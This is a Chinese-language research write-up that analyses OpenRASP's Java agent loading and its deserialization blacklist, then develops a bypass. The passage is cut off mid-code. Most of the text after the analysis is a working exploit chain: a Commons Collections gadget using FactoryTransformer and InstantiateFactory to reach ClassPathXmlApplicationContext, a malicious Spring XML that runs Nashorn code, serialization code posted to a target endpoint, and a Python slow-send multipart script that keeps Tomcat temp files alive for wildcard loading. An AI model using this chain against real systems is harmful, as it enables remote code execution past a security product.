启动流程分析

首先通过Jar Manifest可以看到premain的启动类:

Premain-Class: com.baidu.openrasp.Agent

其中premain对应public static void premain(String agentArg, Instrumentation inst) { init("normal", "install", inst); },那么看这个init方法,实则为:

public static synchronized void init(String mode, String action, Instrumentation inst) {  
    try {  
        JarFileHelper.addJarToBootstrap(inst);  
        readVersion();  
        ModuleLoader.load(mode, action, inst);  
    } catch (Throwable e) {  
        System.err.println("[OpenRASP] Failed to initialize, will continue without security protection.");  
        e.printStackTrace();  
    }  
  
}

其中JarFileHelper.addJarToBootstrap这个是在Java Agent中常见的一个操作,将当前的Jar添加到classpath,以便类加载;核心应该是ModuleLoader.load这个,但是需要注意到ModuleLoader中有一段核心的静态代码,在进入之前应该先看它:

static {  
    try {  
        Class clazz = Class.forName("java.nio.file.FileSystems");  
        clazz.getMethod("getDefault").invoke((Object)null);  
    } catch (Throwable var4) {  
    }  
  
    Class clazz = ModuleLoader.class;  
    String path = clazz.getResource("/" + clazz.getName().replace(".", "/") + ".class").getPath();  
    if (path.startsWith("file:")) {  
        path = path.substring(5);  
    }  
  
    if (path.contains("!")) {  
        path = path.substring(0, path.indexOf("!"));  
    }  
  
    try {  
        baseDirectory = URLDecoder.decode((new File(path)).getParent(), "UTF-8");  
    } catch (UnsupportedEncodingException var3) {  
        baseDirectory = (new File(path)).getParent();  
    }  
  
    ClassLoader systemClassLoader;  
    for(systemClassLoader = ClassLoader.getSystemClassLoader(); systemClassLoader.getParent() != null && !systemClassLoader.getClass().getName().equals("sun.misc.Launcher$ExtClassLoader"); systemClassLoader = systemClassLoader.getParent()) {  
    }  
  
    moduleClassLoader = systemClassLoader;  
}

首先预热JVM的NIO模块,然后获取当前Jar的绝对目录并处理以作为baseDirectory,方便后面可以加载rasp-engine.jar;此外还向上寻找最接近Bootstrap或者Extension的ClassLoader作为当前的模块ClassLoader,此步很显然,在Java Agent开发过程中时常会遇到一个问题,即对某些函数进行挂钩时,如果直接调用当前Agent Jar中的类,由于ClassLoader的问题可能会造成类无法找到的异常,所以这里实际上处理的问题就是这个。

这里实际上是基于Agent开发经验的一个猜测,但是在com.baidu.openrasp.hook.AbstractClassHook#getInvokeStaticSrc这里就证实了这个猜测。

那么再看回ModuleLoader.load方法:

public static synchronized void load(String mode, String action, Instrumentation inst) throws Throwable {  
    if ("install".equals(action)) {  
        if (instance == null) {  
            try {  
                instance = new ModuleLoader(mode, inst);  
            } catch (Throwable t) {  
                instance = null;  
                throw t;  
            }  
        } else {  
            System.out.println("[OpenRASP] The OpenRASP has bean initialized and cannot be initialized again");  
        }  
    } else {  
        if (!"uninstall".equals(action)) {  
            throw new IllegalStateException("[OpenRASP] Can not support the action: " + action);  
        }  
  
        release(mode);  
    }  
  
}

就是实例化了一个ModuleLoader的实例,看构造函数:

private ModuleLoader(String mode, Instrumentation inst) throws Throwable {  
    if ("normal" == mode) {  
        setStartupOptionForJboss();  
    }  
  
    engineContainer = new ModuleContainer("rasp-engine.jar");  
    engineContainer.start(mode, inst);  
}

实例化了一个ModuleContainer的实例,然后调用了start方法,还是先看构造函数:

public ModuleContainer(String jarName) throws Throwable {  
    try {  
        File originFile = new File(ModuleLoader.baseDirectory + File.separator + jarName);  
        JarFile jarFile = new JarFile(originFile);  
        Attributes attributes = jarFile.getManifest().getMainAttributes();  
        jarFile.close();  
        this.moduleName = attributes.getValue("Rasp-Module-Name");  
        String moduleEnterClassName = attributes.getValue("Rasp-Module-Class");  
        if (this.moduleName != null && moduleEnterClassName != null && !this.moduleName.equals("") && !moduleEnterClassName.equals("")) {  
            if (ClassLoader.getSystemClassLoader() instanceof URLClassLoader) {  
                Method method = Class.forName("java.net.URLClassLoader").getDeclaredMethod("addURL", URL.class);  
                method.setAccessible(true);  
                method.invoke(ModuleLoader.moduleClassLoader, originFile.toURI().toURL());  
                method.invoke(ClassLoader.getSystemClassLoader(), originFile.toURI().toURL());  
                Class moduleClass = ModuleLoader.moduleClassLoader.loadClass(moduleEnterClassName);  
                this.module = (Module)moduleClass.newInstance();  
            } else {  
                if (!ModuleLoader.isCustomClassloader()) {  
                    throw new Exception("[OpenRASP] Failed to initialize module jar: " + jarName);  
                }  
  
                ModuleLoader.moduleClassLoader = ClassLoader.getSystemClassLoader();  
                Method method = ModuleLoader.moduleClassLoader.getClass().getDeclaredMethod("appendToClassPathForInstrumentation", String.class);  
                method.setAccessible(true);  
  
                try {  
                    method.invoke(ModuleLoader.moduleClassLoader, originFile.getCanonicalPath());  
                } catch (Exception var9) {  
                    method.invoke(ModuleLoader.moduleClassLoader, originFile.getAbsolutePath());  
                }  
  
                Class moduleClass = ModuleLoader.moduleClassLoader.loadClass(moduleEnterClassName);  
                this.module = (Module)moduleClass.newInstance();  
            }  
        }  
  
    } catch (Throwable t) {  
        System.err.println("[OpenRASP] Failed to initialize module jar: " + jarName);  
        throw t;  
    }  
}

这里就是常规的加载流程,加载了rasp-engine.jar,然后通过Jar的Manifest中指定的Rasp-Module-Class加载Module,接着engineContainerstart实际也是调用的modulestart方法,这个方法实际就到了EngineBoot中的start方法了:

public void start(String mode, Instrumentation inst) throws Exception {  
    System.out.println("\n\n   ____                   ____  ___   _____ ____ \n  / __ \\____  ___  ____  / __ \\/   | / ___// __ \\\n / / / / __ \\/ _ \\/ __ \\/ /_/ / /| | \\__ \\/ /_/ /\n/ /_/ / /_/ /  __/ / / / _, _/ ___ |___/ / ____/ \n\\____/ .___/\\___/_/ /_/_/ |_/_/  |_/____/_/      \n    /_/                                          \n\n");  
  
    try {  
        Loader.load();  
    } catch (Exception e) {  
        System.out.println("[OpenRASP] Failed to load native library, please refer to https://rasp.baidu.com/doc/install/software.html#faq-v8-load for possible solutions.");  
        e.printStackTrace();  
        return;  
    }  
  
    if (this.loadConfig()) {  
        Agent.readVersion();  
        BuildRASPModel.initRaspInfo(Agent.projectVersion, Agent.buildTime, Agent.gitCommit);  
        if (JS.Initialize()) {  
            CheckerManager.init();  
            this.initTransformer(inst);  
            if (CloudUtils.checkCloudControlEnter()) {  
                CrashReporter.install(Config.getConfig().getCloudAddress() + "/v1/agent/crash/report", Config.getConfig().getCloudAppId(), Config.getConfig().getCloudAppSecret(), CloudCacheModel.getInstance().getRaspId());  
            }  
  
            this.deleteTmpDir();  
            String message = "[OpenRASP] Engine Initialized [" + Agent.projectVersion + " (build: GitCommit=" + Agent.gitCommit + " date=" + Agent.buildTime + ")]";  
            System.out.println(message);  
            Logger.getLogger(EngineBoot.class.getName()).info(message);  
        }  
    }  
}

首先通过Loader.load()加载了V8引擎,然后加载配置并通过JS.Initialize加载插件的Javascript脚本。这一步代码偏多,就贴核心代码了:

public static synchronized boolean Initialize() {  
    try {  
        if (!V8.Initialize()) {  
            throw new Exception("[OpenRASP] Failed to initialize V8 worker threads");  
        } else {  
            // ...
            Context.setKeys();  
            if (!CloudUtils.checkCloudControlEnter()) {  
                UpdatePlugin();  
                InitFileWatcher();  
            }  
  
            return true;  
        }  
    } catch (Exception e) {  
        e.printStackTrace();  
        LOGGER.error(e);  
        return false;  
    }  
}
 
public static synchronized boolean UpdatePlugin() {  
    boolean oldValue = HookHandler.enableHook.getAndSet(false);  
    List<String[]> scripts = new ArrayList();  
    File pluginDir = new File(Config.getConfig().getScriptDirectory());  
    LOGGER.debug("checker directory: " + pluginDir.getAbsolutePath());  
    if (!pluginDir.isDirectory()) {  
        pluginDir.mkdir();  
    }  
  
    FileFilter filter = FileFilterUtils.and(new IOFileFilter[]{FileFilterUtils.sizeFileFilter(10485760L, false), FileFilterUtils.suffixFileFilter(".js")});  
    File[] pluginFiles = pluginDir.listFiles(filter);  
    if (pluginFiles != null) {  
        for(File file : pluginFiles) {  
            try {  
                String name = file.getName();  
                String source = FileUtils.readFileToString(file, "UTF-8");  
                scripts.add(new String[]{name, source});  
            } catch (Exception e) {  
                LogTool.error(ErrorType.PLUGIN_ERROR, e.getMessage(), e);  
            }  
        }  
    }  
  
    HookHandler.enableHook.set(oldValue);  
    return UpdatePlugin(scripts);  
}
 
public static synchronized boolean UpdatePlugin(List<String[]> scripts) {  
    boolean rst = V8.CreateSnapshot(pluginConfig, scripts.toArray(), BuildRASPModel.getRaspVersion());  
    if (rst) {  
        try {  
            String jsonString = V8.ExecuteScript("JSON.stringify(RASP.algorithmConfig || {})", "get-algorithm-config.js");  
            Config.getConfig().setConfig(ConfigItem.ALGORITHM_CONFIG, jsonString, true);  
        } catch (Exception e) {  
            LogTool.error(ErrorType.PLUGIN_ERROR, e.getMessage(), e);  
        }  
  
        Config.commonLRUCache.clear();  
    }  
  
    return rst;  
}

实际上就是扫描了plugins目录下面的js文件,然后创建一个快照;这里具体的分析其实还需要结合CPP代码来做整体的分析,这里简单概括就是对Javascript编译后创建了一个解析后的快照,核心是为了避免重复解析以提升性能;然后取出了其中的algorithmConfig属性并保存,最后初始化文件监控器,检测到文件夹内文件变动就更新插件。

根据上面的start方法,那么接下来就是checker的初始化了,其实这里的代码非常简单了:

public static synchronized void init() throws Exception {  
    for(CheckParameter.Type type : Type.values()) {  
        checkers.put(type, type.checker);  
    }  
  
}

只是遍历了一下Type枚举并加入checkers;那么checkers有这些:

800

可以看到这里需要研究的反序列化使用的是V8AttackChecker

接下来再看this.initTransformer(inst);,开始进入Java Agent的核心部分了:

private void initTransformer(Instrumentation inst) throws UnmodifiableClassException {  
    this.transformer = new CustomClassTransformer(inst);  
    this.transformer.retransform();  
}

初始化自定义的ClassTransformer,然后调用retransform

public void retransform() {  
    new LinkedList();  
    Class[] loadedClasses = this.inst.getAllLoadedClasses();  
  
    for(Class clazz : loadedClasses) {  
        if (this.isClassMatched(clazz.getName().replace(".", "/")) && this.inst.isModifiableClass(clazz) && !clazz.getName().startsWith("java.lang.invoke.LambdaForm")) {  
            try {  
                this.inst.retransformClasses(new Class[]{clazz});  
            } catch (Throwable t) {  
                LogTool.error(ErrorType.HOOK_ERROR, "failed to retransform class " + clazz.getName() + ": " + t.getMessage(), t);  
            }  
        }  
    }  
}

Java Agent的常规写法,获取所有加载类(此处也可捕获生成的Lambda类),然后retransform

注意LambdaForm和Lambda表达式不是一个东西,具体应该参考JVM的JEP 160去看,实际上这是一个JVM运行过程中的自生成的,这也是Agent中的一个坑点,LambdaForm实际上对应了字节码的invokedynamic,因此生成十分频繁,如果对其修改,会极大的影响性能并可能导致JIT Inline的错误,直接干废JVM。

这里的isClassMatched实际上判断了是否需要Hook的类:

public boolean isClassMatched(String className) {  
    for(AbstractClassHook hook : this.getHooks()) {  
        if (hook.isClassMatched(className)) {  
            return true;  
        }  
    }  
  
    return this.serverDetector.isClassMatched(className);  
}

这里的hooks其实是扫描了"com.baidu.openrasp.hook"包下的所有具有HookAnnotation的类;再看核心的transform方法,核心是classfileBuffer = hook.transformClass(ctClass);,这里实际上是:

public byte[] transformClass(CtClass ctClass) {  
    try {  
        this.hookMethod(ctClass);  
        return ctClass.toBytecode();  
    } catch (Throwable e) {  
        if (Config.getConfig().isDebugEnabled()) {  
            LOGGER.info("transform class " + ctClass.getName() + " failed", e);  
        }  
  
        return null;  
    }  
}

那么所有的挂钩逻辑就全部出来了;通过自定义的Transformer扫描所有的Hook类,然后判断是否需要进行Hook,如果是则调用对应的Hook类,对其进行转换。

反序列化绕过

Hook流程

核心类是com.baidu.openrasp.hook.DeserializationHook

@HookAnnotation  
public class DeserializationHook extends AbstractClassHook {  
    public String getType() {  
        return "deserialization";  
    }  
  
    public boolean isClassMatched(String className) {  
        return "java/io/ObjectInputStream".equals(className);  
    }  
  
    protected void hookMethod(CtClass ctClass) throws IOException, CannotCompileException, NotFoundException {  
        String src = this.getInvokeStaticSrc(DeserializationHook.class, "checkDeserializationClass", "$1", new Class[]{ObjectStreamClass.class});  
        this.insertBefore(ctClass, "resolveClass", "(Ljava/io/ObjectStreamClass;)Ljava/lang/Class;", src);  
    }  
  
    public static void checkDeserializationClass(ObjectStreamClass objectStreamClass) {  
        if (objectStreamClass != null) {  
            String clazz = objectStreamClass.getName();  
            if (clazz != null) {  
                HashMap<String, Object> params = new HashMap();  
                params.put("clazz", clazz);  
                HookHandler.doCheck(Type.DESERIALIZATION, params);  
            }  
        }  
  
    }  
}

和前面的逻辑对应,所以这里主要看getInvokeStaticSrc这里:

public String getInvokeStaticSrc(Class invokeClass, String methodName, String paramString, Class... parameterTypes) {  
    String invokeClassName = invokeClass.getName();  
    String parameterTypesString = "";  
    if (parameterTypes != null && parameterTypes.length > 0) {  
        for(Class parameterType : parameterTypes) {  
            if (parameterType.getName().startsWith("[")) {  
                parameterTypesString = parameterTypesString + "Class.forName(\"" + parameterType.getName() + "\"),";  
            } else {  
                parameterTypesString = parameterTypesString + parameterType.getName() + ".class,";  
            }  
        }  
  
        parameterTypesString = parameterTypesString.substring(0, parameterTypesString.length() - 1);  
    }  
  
    if (parameterTypesString.equals("")) {  
        parameterTypesString = null;  
    } else {  
        parameterTypesString = "new Class[]{" + parameterTypesString + "}";  
    }  
  
    String src;  
    if (this.isLoadedByBootstrapLoader) {  
        src = "com.baidu.openrasp.ModuleLoader.moduleClassLoader.loadClass(\"" + invokeClassName + "\").getMethod(\"" + methodName + "\"," + parameterTypesString + ").invoke(null";  
        if (!StringUtils.isEmpty(paramString)) {  
            src = src + ",new Object[]{" + paramString + "});";  
        } else {  
            src = src + ",null);";  
        }  
  
        src = "try {" + src + "} catch (Throwable t) {if(t.getCause() != null && t.getCause().getClass()" + ".getName().equals(\"com.baidu.openrasp.exceptions.SecurityException\")){throw t;}}";  
    } else {  
        src = invokeClassName + '.' + methodName + "(" + paramString + ");";  
        src = "try {" + src + "} catch (Throwable t) {if(t.getClass()" + ".getName().equals(\"com.baidu.openrasp.exceptions.SecurityException\")){throw t;}}";  
    }  
  
    return src;  
}

这里其实就能看出来,前面的moduleClassLoader在此处就找到了用处,如果一个类由BootstrapLoader加载,那么类的加载器会为空,因此需要处理这里的相关问题。

这里整体的逻辑其实就是调用com.baidu.openrasp.hook.DeserializationHookcheckDeserializationClass公有静态方法实现,代码如下:

public static void checkDeserializationClass(ObjectStreamClass objectStreamClass) {  
    if (objectStreamClass != null) {  
        String clazz = objectStreamClass.getName();  
        if (clazz != null) {  
            HashMap<String, Object> params = new HashMap();  
            params.put("clazz", clazz);  
            HookHandler.doCheck(Type.DESERIALIZATION, params);  
        }  
    }  
  
}

上面的Type枚举处可以看到,其实反序列化是V8检查,也就是通过官方的official.js中的反序列化判断逻辑了。

插件判断逻辑

首先反序列化的黑名单:

  // transformer 反序列化攻击  
  deserialization_blacklist: {  
      name:   '算法1 - 反序列化黑名单过滤',  
      action: 'block',  
clazz: [  
          'org.apache.commons.collections.functors.ChainedTransformer',  
          'org.apache.commons.collections.functors.InvokerTransformer',  
          'org.apache.commons.collections.functors.InstantiateTransformer',  
          'org.apache.commons.collections4.functors.InvokerTransformer',  
          'org.apache.commons.collections4.functors.InstantiateTransformer',  
          'org.codehaus.groovy.runtime.ConvertedClosure',  
          'org.codehaus.groovy.runtime.MethodClosure',  
          'org.springframework.beans.factory.ObjectFactory',  
          'org.apache.xalan.xsltc.trax.TemplatesImpl',  
          'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',  
          'com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase'  
      ]  
  }

然后看插件注册逻辑:

if (algorithmConfig.deserialization_blacklist.action != 'ignore')   
{  
    plugin.register('deserialization', function (params, context) {  
        var clazz = params.clazz  
        for (var index in algorithmConfig.deserialization_blacklist.clazz) {  
            if (clazz === algorithmConfig.deserialization_blacklist.clazz[index]) {  
                return {  
                    action:     algorithmConfig.deserialization_blacklist.action,  
                    message:    _("Deserialization blacklist - blocked " + clazz + " in resolveClass"),  
                    confidence: 100,  
                    algorithm:  'deserialization_blacklist'  
                }  
            }  
        }  
        return clean  
    })  
}

所以这里插件判断逻辑其实很简单,就是简单的判断反序列化的类是否在黑名单中然后拦截。

同事的两个问题

主要是:

  1. 为什么SignedObject无法绕过OpenRASP
  2. lightr3d的改版yso的绕过RASP不奏效

SignedObject

先解释一下为什么SignedObject无法绕过这个RASP;首先SignedObject这个是通过二次反序列化去绕过常规的黑名单机制。

这里需要着重于常规的黑名单机制;需要注意,Java在开发反序列化时,可以通过重写resolveClass方法来防止恶意类被成功反序列化;然后再看为什么SignedObject可以绕过重写的resolveClass;该类具有一个getter方法,名为getObject,这个getter可以非常方便的被反序列化拼接,这也是二次反序列绕过的逻辑:

public Object getObject()  
    throws IOException, ClassNotFoundException  
{  
    // creating a stream pipe-line, from b to a  
    ByteArrayInputStream b = new ByteArrayInputStream(this.content);  
    ObjectInput a = new ObjectInputStream(b);  
    Object obj = a.readObject();  
    b.close();  
    a.close();  
    return obj;  
}

可以看到在这里实际上就是直接通过ObjectInputStream去反序列化了this.content,因此绕过了开发者自定义的一个反序列化流的resolveClass,核心原因是这里使用的是默认的ObjectInputStream,不具备任何拦截能力。

那么在回到Hook流程这里,我们能够发现实际上这里是对ObjectInputStream进行了hook,也就是说,默认的ObjectInputStream已经具备了拦截能力,那么这里作为一个绕过方式,是肯定无法过RASP的。

https://github.com/lightr3d/ysoserial

在README中能够看到添加RASP绕过实际上是通过-o参数;因此直接从代码层面去看:

if (cmdLine.hasOption("obscure")) {
	IS_OBSCURE = true;
}
 
public static void insertCMD(CtClass ctClass) throws Exception {
 
	if (IS_OBSCURE) {
		ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_UNSAFE), ctClass));
		ctClass.addMethod(CtMethod.make(Utils.base64Decode(TO_CSTRING_Method), ctClass));
		ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass));
		ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass));
		try {
			ctClass.getDeclaredMethod("getFieldValue");
		} catch (NotFoundException e) {
			ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass));
		}
		ctClass.addMethod(CtMethod.make(Utils.base64Decode(EXEC_CMD_OBSCURE), ctClass));
	} else {
		ctClass.addMethod(CtMethod.make(Utils.base64Decode(EXEC_CMD), ctClass));
	}
}

这里实际上可以看出,加了-o参数绕过RASP实际上只有在执行命令时,对Runtime.getRuntime().exec()进行了修改,变成了通过调用forkAndExec方法去完整命令执行。

所以这里实际上对反序列化readObject的RASP挂钩绕过完全没有任何帮助。

如何绕过

接下来就需要考虑的是如何绕过的问题了;首先非常明确的一点是,由于TemplatesImpl被RASP拦截了,因此基于TemplatesImpl的字节码加载方案已经是无法继续进行的了。

那么从Java的角度来看,能做任意字节码加载的无非是两条路,通过ClassLoaderdefineClass或者通过BCELClassloaderloadClass;但是这两个sink确实感觉比较难和readObject连接起来;几乎是一个不可能做到的事情。

从Sink入手

如果只考虑defineClassloadClasssink,是非常困难的;考虑一下在Java中能够产生RCE的sink,除了上面说的这两个,还有EL的eval、JDBC注入中利用到的Spring的ClassPathXmlApplicationContext的构造方法。

EL的eval

其实在这里我突然就想到了JNDI的绕过手法中正好有一个就是借助于Tomcat-EL的依赖去进行绕过,核心是通过BeanFactorygetObjectInstance这里去触发任意的一个具有无参构造函数类的任意单String参数的方法;所以可以连接上到大部分EL的eval方法上去。

这个sink可以先可供参考;暂时还没找对应的链子。

ClassPathXmlApplicationContext

在对应的黑名单中,会发现禁用了部分的Transformer,排除掉黑名单的Transformer以及匿名类,那么剩下的其实很少了,挨个查看会发现一个Transformer不在黑名单中,并且存在一个Factory.create的调用:

public class FactoryTransformer implements Transformer, Serializable {  
    private static final long serialVersionUID = -6817674502475353160L;  
    private final Factory iFactory;  
  
    public static Transformer getInstance(Factory factory) {  
        if (factory == null) {  
            throw new IllegalArgumentException("Factory must not be null");  
        } else {  
            return new FactoryTransformer(factory);  
        }  
    }  
  
    public FactoryTransformer(Factory factory) {  
        this.iFactory = factory;  
    }  
  
    public Object transform(Object input) {  
        return this.iFactory.create();  
    }  
  
    public Factory getFactory() {  
        return this.iFactory;  
    }  
}

而这里的Factory一共只有六个实现,在这六个实现中我发现了一个org.apache.commons.collections.functors.InstantiateFactory

public class InstantiateFactory implements Factory, Serializable {  
    private static final long serialVersionUID = -7732226881069447957L;  
    private final Class iClassToInstantiate;  
    private final Class[] iParamTypes;  
    private final Object[] iArgs;  
    private transient Constructor iConstructor = null;  
  
    public static Factory getInstance(Class classToInstantiate, Class[] paramTypes, Object[] args) {  
        if (classToInstantiate == null) {  
            throw new IllegalArgumentException("Class to instantiate must not be null");  
        } else if ((paramTypes != null || args == null) && (paramTypes == null || args != null) && (paramTypes == null || args == null || paramTypes.length == args.length)) {  
            if (paramTypes != null && paramTypes.length != 0) {  
                paramTypes = (Class[])paramTypes.clone();  
                args = args.clone();  
                return new InstantiateFactory(classToInstantiate, paramTypes, args);  
            } else {  
                return new InstantiateFactory(classToInstantiate);  
            }  
        } else {  
            throw new IllegalArgumentException("Parameter types must match the arguments");  
        }  
    }  
  
    public InstantiateFactory(Class classToInstantiate) {  
        this.iClassToInstantiate = classToInstantiate;  
        this.iParamTypes = null;  
        this.iArgs = null;  
        this.findConstructor();  
    }  
  
    public InstantiateFactory(Class classToInstantiate, Class[] paramTypes, Object[] args) {  
        this.iClassToInstantiate = classToInstantiate;  
        this.iParamTypes = paramTypes;  
        this.iArgs = args;  
        this.findConstructor();  
    }  
  
    private void findConstructor() {  
        try {  
            this.iConstructor = this.iClassToInstantiate.getConstructor(this.iParamTypes);  
        } catch (NoSuchMethodException var2) {  
            throw new IllegalArgumentException("InstantiateFactory: The constructor must exist and be public ");  
        }  
    }  
  
    public Object create() {  
        if (this.iConstructor == null) {  
            this.findConstructor();  
        }  
  
        try {  
            return this.iConstructor.newInstance(this.iArgs);  
        } catch (InstantiationException ex) {  
            throw new FunctorException("InstantiateFactory: InstantiationException", ex);  
        } catch (IllegalAccessException ex) {  
            throw new FunctorException("InstantiateFactory: Constructor must be public", ex);  
        } catch (InvocationTargetException ex) {  
            throw new FunctorException("InstantiateFactory: Constructor threw an exception", ex);  
        }  
    }  
}

在这里就能发现,这就是我们梦寐以求的,任意类实例化、可指定任意参数,这个类正好可以用来到达指定的sink,即ClassPathXmlApplicationContext的构造方法,而且可以指定参数。

出网利用

到达这里其实就非常简单了;可以构造任意的ClassPathXmlApplicationContext,那么只需要加载一个远程的XML就可以导致RCE,在服务器上放置一个对应的XML:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="javax.script.ScriptEngineManager" >
        <property name="message" value="#{ pb.getEngineByName('nashorn').eval('new java.io.File(''/tmp/bypass_test'').createNewFile();') }" />
    </bean>
</beans>

然后序列化如下:

try {  
	Object obj = null;  
	HashMap hashMap = new HashMap();  
	InstantiateFactory instantiateFactory = new InstantiateFactory(  
			ClassPathXmlApplicationContext.class,  
			new Class[]{String.class},  
			new Object[]{"http://nginx/remote.xml"}  
	);  
	FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);  
	Map map = LazyMap.decorate(hashMap, factoryTransformer);  
	TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "a");  
	BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new Object());  
	Field val = badAttributeValueExpException.getClass().getDeclaredField("val");  
	val.setAccessible(true);  
	val.set(badAttributeValueExpException, tiedMapEntry);  
	obj = badAttributeValueExpException;  
	byte[] serializedData = serialize(obj);  
 
	String response = post("http://openrasp.orb.local:8080/vuln/deserialize", Base64.getEncoder().encode(serializedData));  
 
	System.out.println("Response from /des:");  
	System.out.println(response);  
 
} catch (Exception e) {  
	e.printStackTrace();  
}

发送数据可以看到,已经绕过了RASP,并且执行JS创建了文件:

不出网利用

环境变量解析

从Spring的源码中可以看到,ClassPathXmlApplicationContext在构造时,会调用自己父类的setConfigLocations方法,而这个方法就是为了兼容出现的:

public void setConfigLocations(String... locations) {  
    if (locations != null) {  
       Assert.noNullElements(locations, "Config locations must not be null");  
       this.configLocations = new String[locations.length];  
       for (int i = 0; i < locations.length; i++) {  
          this.configLocations[i] = resolvePath(locations[i]).trim();  
       }  
    }  
    else {  
       this.configLocations = null;  
    }  
}
 
protected String resolvePath(String path) {  
    return getEnvironment().resolveRequiredPlaceholders(path);  
}

可以看到,这里会将对应的位置进行resolvePath,其功能通过代码中调用的方法名字也可以看出,其实就是一个占位符替换的操作,跟入后实际来到了org.springframework.core.env.AbstractPropertyResolver的方法:

public String resolveRequiredPlaceholders(String text) throws IllegalArgumentException {  
    if (this.strictHelper == null) {  
        this.strictHelper = this.createPlaceholderHelper(false);  
    }  
 
    return this.doResolvePlaceholders(text, this.strictHelper);  
}

接着使用对应的Helper实例进行解析,这里创建的Helper实例实际上为org.springframework.util.PropertyPlaceholderHelper,这个会使用系统的环境变量或者是映射的变量集去替换具体的占位符,而Tomcat在启动时会进行设置catalina.base的变量:

600

所以这个会指向Tomcat的临时目录。

通配符解析

而众所周知的,Tomcat对于任意一个POST请求,如果是一个表单请求(即Multipart),会先将请求的参数写入到临时目录中,当然对于我们来说是不知道这个路径的。

但是我们继续跟踪构造方法,会发现对解析后的路径还有进一步的处理,在org.springframework.core.io.support.PathMatchingResourcePatternResolver#getResources里:

public Resource[] getResources(String locationPattern) throws IOException {  
    Assert.notNull(locationPattern, "Location pattern must not be null");  
    if (locationPattern.startsWith("classpath*:")) {  
        return this.getPathMatcher().isPattern(locationPattern.substring("classpath*:".length())) ? this.findPathMatchingResources(locationPattern) : this.findAllClassPathResources(locationPattern.substring("classpath*:".length()));  
    } else {  
        int prefixEnd = locationPattern.startsWith("war:") ? locationPattern.indexOf("*/") + 1 : locationPattern.indexOf(58) + 1;  
        return this.getPathMatcher().isPattern(locationPattern.substring(prefixEnd)) ? this.findPathMatchingResources(locationPattern) : new Resource[]{this.getResourceLoader().getResource(locationPattern)};  
    }  
}
 
public boolean isPattern(String path) {  
    return path.indexOf(42) != -1 || path.indexOf(63) != -1;  
}

这里注意42其实就是*,63其实就是?,也就是说判断了通配符,并且在findPathMatchingResources对通配符进行了匹配寻找。

那么到这里其实就可以结合利用了;首先是这个路径可以使用环境变量或者映射变量,那么显然我们可以通过${catalina.base}或者${catalina.home}指向Tomcat的临时目录,然后通过发送Multipart请求,将XML写入到临时目录,最后通过通配符加载对应的XML实现RCE。

但是现在还有一个问题,即Tomcat在请求处理后会删除对应的临时文件,一个请求如此之快的情况下,需要另一个请求去通过通配符匹配到对应的文件,然后读取解析,这显然是一个竞争了;但是这样会发生大量的请求包,很容易引发告警。

非竞争文件留存

那么研究一种无需竞争利用的方法,我们知道通过Multipart这种方式去请求时,一般是上传文件一类的请求,这类请求可能非常大,比如说上传一个几百M的文件,服务器肯定不可能一次性就迅速的收到完整的请求,因此,我们可以通过类似机制来使得Tomcat在处理对应的Multipart请求时尽可能慢,使得临时文件存留尽可能久,从而给我们加载的时间。

所以现在的问题是如何使得Tomcat处理请求尽可能慢,常规的思路就是发送一个大数据包,然后我们会拥有几秒钟的时间;但是从网络层面来考虑这个事情,其实可以做的更简单。由于HTTP基于TCP可靠传输,并且是协议式传输,在服务器接收到一个HTTP请求时,通过读取Content-Length的头属性,来接着读取对应长度的内容,因此我们可以通过脚本缓慢发送数据来控制Tomcat一直保持请求处理;看以下脚本:

import socket
import sys
import time
 
host = 'openrasp.orb.local'
port = 8080
path = '/'
 
xmlData = """<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="javax.script.ScriptEngineManager" >
        <property name="message" value="#{ pb.getEngineByName('nashorn').eval('new java.io.File(''/tmp/local_bypass_test'').createNewFile();') }" />
    </bean>
</beans>"""
 
boundary = "------------------------ZVUiA6NVXeYerDfCmB8ZPr"
 
sendData = f'--{boundary}\r\nContent-Disposition: form-data; name="xml"\r\n\r\n{xmlData}\r\n--{boundary}'.encode()
streamEndData = f'--\r\n'.encode()
 
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
 
headers = (
    f'POST {path} HTTP/1.1\r\n'
    f'Host: {host}:{port}\r\n'
    f'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36\r\n'
    f'Content-Type: multipart/form-data; boundary={boundary}\r\n'
    f'Accept: */*\r\n'
    f'Content-Length: {len(sendData) + len(streamEndData)}\r\n'
    f'Connection: keep-alive\r\n'
    f'\r\n'
)
 
sock.sendall(headers.encode())
print(f"{headers}", end="")
 
sock.sendall(sendData)
print(f"{sendData.decode()}", end="")
time.sleep(60)
sock.send(streamEndData)
print(f"{streamEndData.decode()}", end="")

脚本这里除了最后的--\r\n没发送外,其他都发送到了服务器,Tomcat在解析第一个Multipart后会将其暂存到临时文件,命名规则为upload_{uuid}.tmp,所以是不可猜测到名字,但是我们可以使用通配符,来看CC6的链:

Object obj = null;  
HashMap hashMap = new HashMap();  
InstantiateFactory instantiateFactory = new InstantiateFactory(  
		ClassPathXmlApplicationContext.class,  
		new Class[]{String.class},  
		new Object[]{"file://${catalina.home}/**/*.tmp"}  
//                    new Object[]{"http://nginx/remote.xml"}  
);  
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);  
Map map = LazyMap.decorate(hashMap, factoryTransformer);  
TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "a");  
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new Object());  
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");  
